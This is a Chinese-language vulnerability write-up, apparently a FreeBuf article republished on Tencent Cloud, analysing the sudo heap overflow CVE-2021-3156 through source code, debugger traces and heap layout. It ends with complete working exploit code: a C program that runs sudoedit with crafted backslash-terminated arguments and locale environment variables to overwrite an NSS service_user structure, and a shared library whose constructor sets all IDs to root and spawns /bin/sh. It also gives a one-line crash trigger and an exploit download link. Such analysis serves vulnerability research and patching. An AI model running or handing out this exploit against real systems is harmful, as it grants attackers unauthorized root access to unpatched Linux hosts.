前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-3156:sudo堆溢出提权漏洞分析

CVE-2021-3156:sudo堆溢出提权漏洞分析

作者头像
FB客服
发布2021-05-20 17:04:16
2.1K0
发布2021-05-20 17:04:16
举报
文章被收录于专栏:FreeBufFreeBuf

一. 漏洞信息

1. 漏洞简述

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出,攻击者可以使用本地普通用户利用sudo获得系统root权限。

2. 漏洞影响

类型:本地权限提升 等级:高危 影响范围:sudo 1.8.2~2.8.31p2,sudo 1.9.0~1.9.5p1

二. 漏洞复现

本机操作系统是Ubuntu18.04,内核版本为5.3.0-28,所使用的sudo命令版本为1.8.21p2 。在终端输入命令 sudoedit -s ‘\’ perl -e ‘print “A” x 65536’可以看到堆已经被破坏。

三. sudo程序简介

sudo程序是所有Linux发行版中都有提供的一个shell命令,sudo允许当前用户以root或者系统中其他用户身份去执行一个命令,通常用于执行高权限的命令。sudo程序自身带有setuid位,所以劫持sudo程序即可修改当前进程的euid实现权限提升。 该漏洞涉及到的另一个命令sudoedit则是一个指向sudo程序的符号链接,该命令在sudo程序中会被当作sudo -e来处理。

四. 漏洞分析

1. 静态分析

在main函数里面第199行parse_args对命令行中的参数进行处理。具体来说就是对于形如“sudo -s exploit”这样的命令表示sudo会将“exploit”作为可执行程序来运行,sudo会把参数复制到堆上,并在堆上构造形如“sh -c exploit”的字符串,因此在-s和-i模式下如果命令行参数中包含“\”就要对其进行转义。从这里开始将-s后面跟着的参数称为command。

代码语言:javascript
复制
/*
*代码4-1 
*main() in sudo-1.8.31\src\sudo.c
*/
__dso_public int main(int argc, char *argv[], char *envp[]);

int main(int argc, char *argv[], char *envp[])
{
    int nargc, ok, status = 0;
    char **nargv, **env_add;

    .. .. ..

    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);//处理命令行参数
    .. .. .. 
}

-s或-i参数使得MODE_RUN和MODE_SHELL标志被置位,进入到转义部分代码。首先调用reallocarray分配了大小为2倍command长度的堆块,目的是防止最极端的情况command部分全部为“\”。接下来for循环对command部分进行遍历,遇到元字符就在前面加上“\”进行转义,这里的“\”在程序编译的时候会被转化为0x5c(“\”)。经过这一步command就会被复制到堆上,并以空格相隔。

代码语言:javascript
复制
/*
*代码4-2 
*parse_args() in sudo-1.8.31\src\parse_args.c
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
    char **av, *cmnd = NULL;
    int ac = 1;
    if (argc != 0) {
        /* shell -c "command" */
        char *src, *dst;
        size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + strlen(argv[argc - 1]) + 1;   //command部分长度
        cmnd = dst = reallocarray(NULL, cmnd_size, 2);                                         //这是为了防止所有字符都需要转义

        for (av = argv; *av != NULL; av++) {
        for (src = *av; *src != '\0'; src++) {
            /* quote potential meta characters */
            if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
            *dst++ = '\\';    //对反斜杠进行转义
            *dst++ = *src;
        }
        *dst++ = ' ';            //将分散于多个单引号的字符串组合成命令行,以空格隔开
        }
        if (cmnd != dst)
        dst--;  /* replace last space with a NUL */
        *dst = '\0';
        ac += 2;                     /* -c cmnd */
    }
    av = reallocarray(NULL, ac + 1, sizeof(char *));
    av[0] = (char *)user_details.shell; /* 使用sudoer插件定义的shell */
    if (cmnd != NULL) {
        av[1] = "-c";
        av[2] = cmnd;
    }

再回到main函数中253行进入到sudoers_policy_check。

代码语言:javascript
复制
/*
*代码4-3
*main() in sudo-1.8.31\src\sudo.c
*/
case MODE_EDIT:
case MODE_RUN:
        ok = policy_check(&policy_plugin, nargc, nargv, env_add, &command_info, &argv_out, &user_env_out);

sudoers_policy_check函数第872行进入sudoers_policy_main。

代码语言:javascript
复制
/*
*代码4-4
*sudoers_policy_check() in E:\sudo-1.8.31\plugins\sudoers\policy.c
*/
static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[])
{
    ……
    ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);
    ……

sudoers_policy_main的306行进入到set_cmnd函数,set_cmnd的825行计算堆块大小并分配堆块,如果设置了-s参数就会把command复制到新的缓冲区,并将command中的元字符反转义。问题出现在while循环里,如果“\”后面紧跟的是“\0”,也就是字符串的结束符,那么临时变量from就会自加2跳过“\0”进入到下一个字符串,于是乎while循环条件一直为1,发生越界写。这里可以看出如果每一个command都能以“\x5c\x00”结尾,while循环便可以一直向user_args堆拷贝内容,直到遇到“\x00”。

代码语言:javascript
复制
/*
*代码4-5
*set_cmnd() in sudo-1.8.31\plugins\sudoers\sudoers.c
*/
if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        for (size = 0, av = NewArgv + 1; *av; av++)        
        size += strlen(*av) + 1;                                    //计算command缓冲区的大小,每个command后面跟一个空格符
        if (size == 0 || (user_args = malloc(size)) == NULL) {       //分配堆块,存放command
        ……
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {     //设置-s参数就能走到这里
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;                //跳过反斜杠
            *to++ = *from++;                //复制反斜杠后面的字符
            }
            *to++ = ' ';                    //每个command后面跟一个空格
        }
        *--to = '\0';
        }

相关的数据流路径描绘出来如下图所示:

回到代码4-5的while循环,要让“\”作为command的结尾是可行的,要这么做我们就必须避开parse_args中对command进行转义那一部分代码,因为一旦发生转义便会出现2个“\”,无法满足漏洞触发条件。 我们看一下漏洞触发命令 sudoedit -s ‘\’ perl -e ‘print “A” x 65535’执行后sudo内部发生了什么。

代码语言:javascript
复制
/*
*代码4-6
*parse_args() in sudo-1.8.31\plugins\sudoers\sudoers.c
*/
 int valid_flags = DEFAULT_VALID_FLAGS;                   //valid_flags包含了MODE_SHELL
 progname = getprogname();                                //获取第一个参数的名称
 proglen = strlen(progname);
 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
     progname = "sudoedit";                //处理程序名为sudoedit的情况
    mode = MODE_EDIT;                //这里直接给mode赋值为EDIT
 }
for (;;) {
    if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {   //解析命令行参数
        switch (ch) {
        ……
        case 'e':                
            mode = MODE_EDIT;               // -e选项
            valid_flags = MODE_NONINTERACTIVE;
            break;
        ……
        case 's':                    //-s选项
            SET(flags, MODE_SHELL);           //为flags添加SHELL属性
            break;
        ……
        }
        ……
    }
     ……
}
……
if ((flags & valid_flags) != flags)    //同时设置 -s -e会在此处退出
    usage(1);

程序名“sudoedit”被解析出来使得mode被赋值为MODE_EDIT,-s参数使得flags的MODE_SHELL位被置1,此时满足绕过转义的条件。sudoedit和sudo -e的程序效果是一致的,如果将sudoedit替换为sudo -e,会使valid_flags为MODE_NONINTERACTIVE,而flags的MODE_SHELL位仍然为1,最后的if校验就无法通过。 此时的sudo的__libc_start_main函数的参数栈布局为:

command就是“\”“\x00”和“A”65535两部分。 代码4-5中会为command分配2+65536=65538字节大小的user_args堆块,但实际上复制到user_args中的内容为:

发生越界写,甚至如果“A”65535以“\”结尾,跟在参数后面的环境变量也会被写入user_args数组,如此破坏了后续的堆结构导致malloc/free函数异常。 如果字符串只是单个的“\”,则会跳过“\”将“\x00”复制到缓冲区,利用这个技巧可以实现NULL字节写入。

2. 动态分析

在分配堆块给user_args的位置下断点断下后观察分配的堆块大小为65538,实际分配的堆块大小为0x10010。

溢出发生之前的user_args块后面紧跟着未分配的top chunk,大小为0x20d50。

溢出发生后top chunk的size字段被0x41覆盖。

后续如果有malloc分配堆块,对top chunk的size字段进行检查必然通不过,进程退出。

五. 漏洞利用思路

Qualys 等人的公布的漏洞信息中提到了三种利用方法,利用思路是仅通过一次堆溢出来覆盖关键结构达到劫持程序流的目的。虽然思路很简单但是实施过程却异常耗时间,主要的问题在于攻击向量的构造,这里面的难点在于如何将关键结构布置到我们即将溢出的堆块即user_args附近。原文通过Fuzz的方法构造一系列的堆排列并对user_args进行溢出,捕获所有的SIGSEGV异常,从中选取了3种进行利用。 我选择了研究第二种方法,覆盖service_user结构导致在nss_load_library中的访问异常。

cmpq指令访问了0x42424242处的内容。

1. 攻击向量分析

被溢出的service_user结构如下,该结构用大小为0x40+sizeof(name)的堆块存放。

代码语言:javascript
复制
typedef struct service_user
{
    struct service_user *next;
    lookup_actions actions[5];
    service_library *library;
    void *known;
    char name[0];
}service_user;

传入nss_load_library的service_user结构的library字段被覆盖了0x42424242,在访问library->handler时出现了异常。

nss_load_library作用是载入.so文件,第一次载入.so文件时ni->library字段为空,会向nss_new_service申请lib_handle==NULL的service_library,通过下一个if检查,完成共享库名的构造,最后调用__libc_dlopen载入共享库。

代码语言:javascript
复制
/*
*代码5-1
*nss_load_library() in glibc-2.31\glibc-2.31\nss\nsswitch.c
*/
static int  nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
          ni->library = nss_new_service (service_table ?: &default_table, ni->name);
          if (ni->library == NULL)
               return -1;
    }
  if (ni->library->lib_handle == NULL)                                       //cmpq $0x0, 0x8(%rbx)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1); //计算共享库名字长度
      char shlib_name[shlen];
      __strcpy (__strcpy (__strcpy (__strcpy (shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision); //构造形如libnss_xxx.so的共享库名
      ni->library->lib_handle = __libc_dlopen (shlib_name);    //载入共享库

我们的想法是覆盖ni->library=0,ni->name=“shell”,如此将载入exploit目录下的libnss_shell.so共享库,在共享库的constructor函数中构造提权sh来获取root shell。 利用关键在于通过user_args溢出到service_user结构,user_args必须位于service_user之前且两者的偏移不能太大以免覆盖其他数据结构导致利用失败。问题转化如何通过传递给sudoedit的参数来控制user_args分配之前的堆布局使之符合上述要求。 Sudo最初会调用setlocale读取环境变量中的参数来对程序本地化进行设置,这期间会为环境变量分配和释放相应的堆块到tcache和fastbin中,在堆区域初始位置产生一些空洞。

代码语言:javascript
复制
/*
*代码5-2
*main() in sudo-1.8.31\src\sudo.c
*/
int main(int argc, char *argv[], char *envp[])
{
    ……
    setlocale(LC_ALL, "");
    bindtextdomain(PACKAGE_NAME, LOCALEDIR);
    textdomain(PACKAGE_NAME);
    ……

由于从setlocale到分配user_args这条路径中间还包含大量的malloc/free操作加之程序运行环境的影响,在此期间初始堆布局会被完全打乱,因此精确分析堆的行为是不可行的。我们唯一可以确定的是可以通过传递给setlocale的环境变量来控制user_args分配之前的堆布局,具体的控制关系是模糊的。 在此我想到了一个办法,在即将分配user_args的时候下断点,统计正在使用中的堆块的大小按照从小到大顺序排列,发现当前正在使用的堆块中没有size=0x80的堆块。

于是想到如果能通过环境变量控制setlocale在堆的较低地址的位置产生一个大小为0x80的tcache或fastbin,那么我就可以将它分配给user_args。这么做基于两点考虑,第一这个堆块完全受我控制,第二这个堆块位于堆空间低地址有较大的概率可以向后覆盖到service_user结构。至于其他的不利因素暂时不予以考虑。

接下来问题转化为如何控制传递给sudoedit的环境变量来产生size=0x80的空闲堆块。通过分析setlocale代码和调试可以产生0x80堆块,但是每次在即将进入nss_load_library之前异常终止,说明已经覆盖到了其他的数据结构。

根据回溯可以判断应该是覆盖了nss_database_lookup2的相关数据结构。载入nss动态库的过程是,第一次调用nss_database_lookup2函数时,会解析/etc/nsswitch.conf配置文件里的database_entry和service_user。

配置文件解析到内存中的数据关系如下图所示。其中service_table是全局变量指向唯一的name_database结构,name_database管理着从配置文件读取到的所有database_entry,每个database_entry管理着对应的service_user。

进入__nss_database_lookup2函数之前的空闲链表如下:

fopen函数从tcache分配0x1e0 从tcache分配大小为0x20的name_database __getline函数从tcache分配0x80的行缓冲区 __getline函数从top chunk分配0x1010的文件缓冲区 从0x60的smallbin切割出0x20的堆块作为“passwd”的name_database_entry

至此已经发现了问题,那就是user_args控制的0x80堆块地址为0x5580edbd7110向后覆盖到了“passwd”的name_database_entry(地址为0x5580edbd7440)。回溯可知问题在nsswitch.c的第146行。

此处对应于访问service_table->entry->name.

gdb中查看发现service_table->entry指向的位置已被覆盖为0x41,说明在覆盖service_user结构之前已经把其他重要结构覆盖了。

手工构造载荷已经失败,但后面通过Fuzz构造出来的载荷证明了我的思路是正确的。

2. 构造攻击载荷

我们需要控制的载荷的几个变量有:

分配给user_args的堆块的大小 溢出的长度 用于操控setlocale的环境变量

可被setlocale识别的环境变量共有13种,环境变量的值的形式为“C.UTF-8@AAAA…”,长度由@后面的字符控制。

根据上述三个变量fuzz出的载荷如下:

载荷触发的崩溃现场:

六. Exploit

代码语言:javascript
复制
/*gcc -o exploit exploit.c*/
#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

#define MAX_ENV 4096
#define STACK_SIZE 4096
#define null_sz 61

/*cmnd1和cmnd2控制user_args大小为0x80*/
char *cmnd1 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\";
char *cmnd2 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\";
char *env1 = "LC_IDENTIFICATION=C.UTF-8@AFoJUVW5oY1ECmtHm";
char *env2 = "LC_NUMERIC=C.UTF-8@AgAWEGN9ywEYeiv6UO9yjau8kA4XKHequuNEv4WKfxqJbUHkKGySLtVIMx14LxXE7pqWM0JHuXcDa9TCR7Y7sLBjI"; 
char *popshell = "X/X\\";

int main(void) {
    int i = 0;
    char stack[STACK_SIZE];        
    char *env[MAX_ENV];        //环境变量指针数组
    char *argv[5];            //参数指针数组

    char *path = "/usr/bin/sudoedit";
    char *opt = "-s";
    char *tmp = stack;

    memset(stack, 0, STACK_SIZE);
    memset(env, 0, 8 * MAX_ENV);

    memcpy(tmp, path, strlen(path) + 1);
    argv[0] = tmp;                          //复制sudoedit路径
    tmp += strlen(path) + 1;

    memcpy(tmp, opt, strlen(opt) + 1);
    argv[1] = tmp;                          //-s选项
    tmp += strlen(opt) + 1;

    memcpy(tmp, cmnd1, strlen(cmnd1) + 1);
    argv[2] = tmp;
    tmp += strlen(cmnd1) + 1;               // 第一个命令

    memcpy(tmp, cmnd2, strlen(cmnd2) + 1);
    argv[3] = tmp;
    tmp += strlen(cmnd2) + 1;        //第二个命令
    argv[4] = NULL;

    for(i = 0; i < null_sz; i++){           // 填充反斜杠,由于to++=from++,反斜杠后面的空字符会被复制到缓冲区
        memcpy(tmp, "\\", 2);        // 此举为了将service_user结构中name字段之前的全部填充0
        env[i] = tmp;
        tmp += 2;
    }

    memcpy(tmp, popshell, 5);        // “X/X\x00”填充name字段
    env[i++] = tmp;            //最终会被解析为加载libnss_X目录下的X.so.2共享文件
    tmp += 5;
    memcpy(tmp, "a", 2);        //这个a是为了终止while循环的越界写,
    env[i++] = tmp;            //写的内容太多了会导致程序异常终止
    tmp += 2;

    memcpy(tmp, env1, strlen(env1) + 1);
    env[i++] = tmp;            //setlocale的环境变量
    tmp +=  strlen(env1) + 1;

    memcpy(tmp, env2, strlen(env2) + 1);
    env[i++] = tmp;            //setlocale的环境变量
    tmp +=  strlen(env2) + 1;
    env[i] = NULL;

    printf("[.]pid: %d\n", getpid());
    puts("[.] triggering heap overflow...");
    execve(path, argv, env);        //启动sudoedit

    return 0;
}

X.so.2的实现:

代码语言:javascript
复制
/*gcc -fPIC -shared callback.c -o libnss_X/X.so.2*/
#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EXECVE_SHELL_PATH "/bin/sh"

static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};

void pop_shell(void) {
    printf("[+] callback executed!\n");
    setresuid(0, 0, 0);            //设置ruid、euid、suid全部为0
    setresgid(0, 0, 0);            //设置rgid、egid、sgid全部为0
    if(getuid() == 0) {
        puts("[+] we are root!");
    } else {
        puts("[-] something went wrong!");
        exit(0);
    }

    execve(EXECVE_SHELL_PATH, n, n);        //返回root shell
}

七. 总结

一开始我打算通过分析堆的每一处分配和释放来手写载荷的,但是发现堆的行为太过复杂,setlocale的环境变量和溢出前的堆布局之间的关系较为复杂和模糊,于是转向Fuzz搜索载荷。 总体而言我认为这个漏洞虽然普遍存在,但是要成功利用还是不容易的,最重要的原因是受到操作系统环境的影响,即使是同发行版的系统、运行相同的内核、相同的sudo程序,实际的exploit的执行效果仍然会受到环境因素影响。 幸运的是fuzz出来的载荷和我一开始关于堆布局的设想是一致的,载荷中的cmnd1和cmnd2总长度为0x80,控制了user_args分配到较低地址处的堆块,成功溢出了service_user结构且未破坏其他关键结构。

exploit链接:https://pan.baidu.com/s/1zC22XeszdF9VjMI7oRSfRA 密码: pf47

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一. 漏洞信息
    • 1. 漏洞简述
      • 2. 漏洞影响
      • 二. 漏洞复现
      • 三. sudo程序简介
      • 四. 漏洞分析
        • 1. 静态分析
          • 2. 动态分析
          • 五. 漏洞利用思路
            • 1. 攻击向量分析
              • 2. 构造攻击载荷
              • 六. Exploit
              • 七. 总结
              相关产品与服务
              数据库
              云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档